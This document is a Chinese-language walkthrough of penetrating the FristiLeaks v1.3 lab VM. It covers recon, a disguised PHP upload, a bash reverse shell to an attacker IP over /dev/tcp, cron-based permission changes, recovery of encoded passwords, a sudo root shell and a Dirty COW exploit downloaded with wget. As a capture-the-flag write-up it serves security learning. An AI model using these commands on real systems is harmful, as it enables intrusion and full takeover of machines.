FristiLeaks v1.3靶机渗透

靶机下载地址:

https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent

https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova

环境:

靶机:FristiLeaks v1.3

网络连接方式:桥接模式

靶机镜像打开方式:VirtualBox

攻击机:kali,win10

网络连接方式:桥接模式

信息收集

1.1、确认IP

使用VirtualBox打开,IP自动获取:192.168.50.174

1.2、扫描端口和服务

nmap扫描端口和服务

nmap -p- -A 192.168.50.174

收集到的信息:

80      http                      思路:web漏洞

linux 2.6.32-3.10           思路:linux漏洞提权

php/5.3.3

apache 2.2.15

1.3、收集web页面信息

访问,http://192.168.50.174/  ,收集信息

@meneer, @barrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @0xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0xA

1.4、扫描目录

使用dirb扫描目录

dirb http://192.168.50.174/ /usr/share/wordlists/dirb/big.txtdirb http://192.168.50.174/ /usr/share/wordlists/dirb/small.txtdirb http://192.168.50.174/ /usr/share/wordlists/dirb/common.txt dirb http://192.168.50.174/ /usr/share/wordlists/dirb/spanish.txt

robots.txt

/beer/

/cola/

/images/

/cgi-bin/

/error/

/icons/

dirbuster扫描目录

找web漏洞

2.1、访问扫描的目录和页面

robots.txt里有三个目录

访问各目录,全是一张图,这不是你要找的URL。。。

扫描出来的内容访问了一遍,没有发现什么有用的东西。。。GG。。

2.2、没想到的思路和方向

回头看下访问主页时的提示:keep calm and drink firsti

访问:http://192.168.50.174/fristi/   ,进入主页面

2.3、获取登陆框账号密码

看到下方的登陆框,先来一波SQL注入,手注失败,尝试sqlmap,也没有结果

右键看下页面源代码,content内容里面有些提示:

super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.

这个页面的图片是经过base64编码打开的

页面下方确实也留下了一些base64编码的内容

直接复制base64编码的内容在火狐浏览器中打开,页面会弹出一个保存文件的提示,点击保存发现是一个不带格式的文件

加个.png的后缀,发现图片确实是本页面上的那张图片

将刚才网页源代码里面的备注的base64编码的内容,添加到

data:img/png;base64后面,即:

data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0klS0iAQGY0Nb01//dWSQyTgdxz2t5 AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc fm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl zJO53b9 1gd/0TL2Wull5 RMpJq5tMTkE1paHlVXJJZv7/d5i6qse0t9rWa6UMsR1 WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvbDpYzOMN1WqplLS0w oaXwomXXtfhL8e6W lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W VjNdjJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq u6UpINdOFeI5ENygbTfj qDbc QpG9c5uvFQzV5aM15LlyMrfnrPU12qmC Ucqd g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg104VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni kLRnqizXThUqOhEkso2k5pGy00aLqi1n skSqGfOSIVsKC5Zv4 XH36vQzbl0V0t9rWb6EMyRaLLp Bbhy31k8SBbjqpUNSHVjHXJmC2FgtOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws30oZ0jk3y pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B lwDh  Fl3K/U z2uFJNWNcMmhLzUe2v6n/dAWG mLN9KGWI9EcKsMJl6o6 ecH8dv0Uu4PnkqDl2rGuiS8HKul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4 zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12qmD 0cKQ8nunpVcZ21Rj7erEz0WqoZ 5IRW1oXNB3Z/vBMWulSfYlm hDLkcIAtuHEUzu/l9l867X34rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk 9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFheEPdMjO3SSys7XVF qmT5UcmT9 Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJRU5ErkJggg==

将以上内容再复制到浏览器地址栏中打开,发现提示保存文件,下载下来,添加后缀.png,得到以下内容:

keKkeKKeKKeKkEkkEk

貌似是一个密码,那账户是哪个呢?回头再看下页面提示,发现有个名字

尝试刚才注入的登陆框

登陆成功,得到一个文件上传的功能点

2.4、文件上传拿shell

http://192.168.50.174/fristi/upload.php

直接上传个php文件,提示只允许 png,jpg,gif

上传个jpg图片,上传成功,但是没有路径信息返回。。GG

试试扫描下目录,发现fristi下有个/uploads/的目录

访问下刚上传的图片,确实可以访问的到

给php文件加个.jpg的后缀,发现可以直接上传成功

访问下这张图片,发现显示了内容中的aaa,说明可以解析php

http://192.168.50.174/fristi/uploads/post.php.jpg

直接用hackbar来post提交下命令试试,x=whoami

老样子,为了方便提权,反弹下shell,先用kali监听下9999端口

nc -lvvp 9999

post提交以下url编码后的命令

x=echo 'bash -i >& /dev/tcp/192.168.50.132/9999 0>&1'|bash

编码后:

x=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%35%30%2e%31%33%32%2f%39%39%39%39%20%30%3e%26%31%22%7c%62%61%73%68

成功反弹shell

用python反弹终端

python -c 'import pty;pty.spawn('/bin/bash')'

提权

3.1、查找用户

查看/etc/passwd,发现用户eezeepz,admin,fristigod

3.2、找密码

查看下当前用户下的文件,/var/www/目录下,有个notes.txt,提示eezeepz用户的home目录下的文件有些乱,需要清理,但不要删除重要任务-jerry

另外/var/目录下,有一个fristigod目录和一个mail目录,暂无权限访问

先切换到/home/eezeepz/目录下看看,发现也有一个notes.txt的文本,查看下

当前用户可以执行/usr/bin/下的一些命令,还有一些命令是在/home/admin/目录下,

在/tmp/目录下创建runthis的文件,输出到cronresult下

利用任务计划

用vi编辑器编写时,出现ESC以及上下左右按键不能用的情况。。。

最开始的想法是,当前用户没有权限访问/home/admin/目录,runthis每分钟自动执行一次,那直接往文件中写入更改admin目录的权限不就好了吗?

发现直接写chmod -R 777 /home/admin/几分钟后发现并不会顺利执行更改权限,参考下别人的写法

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' >/tmp/runthis

...试了好几次,过了一段时间后发现计划任务就执行成功了,cd到admin用户目录下

查看下文件,2个txt对应2个编码过后的字符串,第一个像base64反过来,尝试base64解码,失败

密码解密

查看下其他文件 cat  cryptpass.py,是一个python脚本文件,理下函数执行逻辑,将字符串先用base64.b64encode进行base64编码,再通过[::-1]反向,再通过codecs.encode编码,然后返回

import base64,codecs,sysdef encodeString(str):base64string= base64.b64encode(str)return codecs.encode(base64string[::-1], 'rot13')cryptoResult=encodeString(sys.argv[1])print cryptoResult

编写一个解码的python脚本,如下:

得到两个密码:

thisisalsopw123

LetThereBeFristi!

尝试登陆下su admin  输入密码thisisalsopw123登陆成功

在该用户下,无法直接提权至root,也无法访问fristigod用户的家目录

切换到用户fristigod

切换至另一个账户fristigod试试

尝试登陆下su fristigod  输入密码LetThereBeFristi!登陆成功

cd到fristigod用户到家目录,发现并没有可以利用的东西,思路到这就断了

3.3、尝试提权

回头再看下/etc/passwd下的fristigod用户信息,目录是位于/var/fristigod,而非home

切换目录至/var/fristigod/,查看文件,发现文件

.bash_history和目录.secret_admin_stuff,分别查看下

可以发现在.bash_history中,通过sudo -u来执行一些操作

.secret_admin_stuff,有个doCom文件,到这就没有提权思路了

新get到的提权方法

使用 sudo 提升权限,并创建一个shell:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

实现的原理:

通过sudo -u可以以root身份来执行./doCom,而./doCom文件,可以执行任何命令,如ls等,

通过/bin/bash来拿到root的shell

提权成功

3.4、提权方式二

因为Linux系统版本为2.6.32-3.10 ,可以尝试脏牛提权

脏牛漏洞影响的linux内核版本为>=2.6.22(2007到2016年linux发行版),因此可以进行脏牛提权

参考链接:

https://www.jianshu.com/p/df72d1ee1e3e

将dirty保存在kali的/var/www/html目录下,这里我是将dirty.c改成了dirty.txt

在靶机反弹的shell上执行以下命令,下载dirty.txt文件

wget http://192/168.50.132/dirty.txt


编译dirty.c文件

这是因为之前我切换到了/var/tmp/目录下,所以就下载到了/var/tmp/目录下

然后通过mv dirty.txt dirty.c将文件名改回来,并执行以下命令编译:

gcc -pthread dirty.c -o dirty -lcrypt

当前/var/tmp/目录下,自动生成dirty文件

执行dirty,创建用户

通过执行./dirty然后手动设置密码,或直接执行./dirty root设置密码为root

这个命令会自动创建一个用户:firefart,密码root,并且具有root权限

执行完毕后,发现当前反弹的shell失效了,不过可以直接通过账户名密码登陆靶机了

提权成功

总结

1、吃了英语不好的亏[doge],没有想到firsti这个目录

2、新get了一种提权思路,创建root的shell

3、靶机环环相扣,每步都有下一步的提示,nice!

end

(0)

相关推荐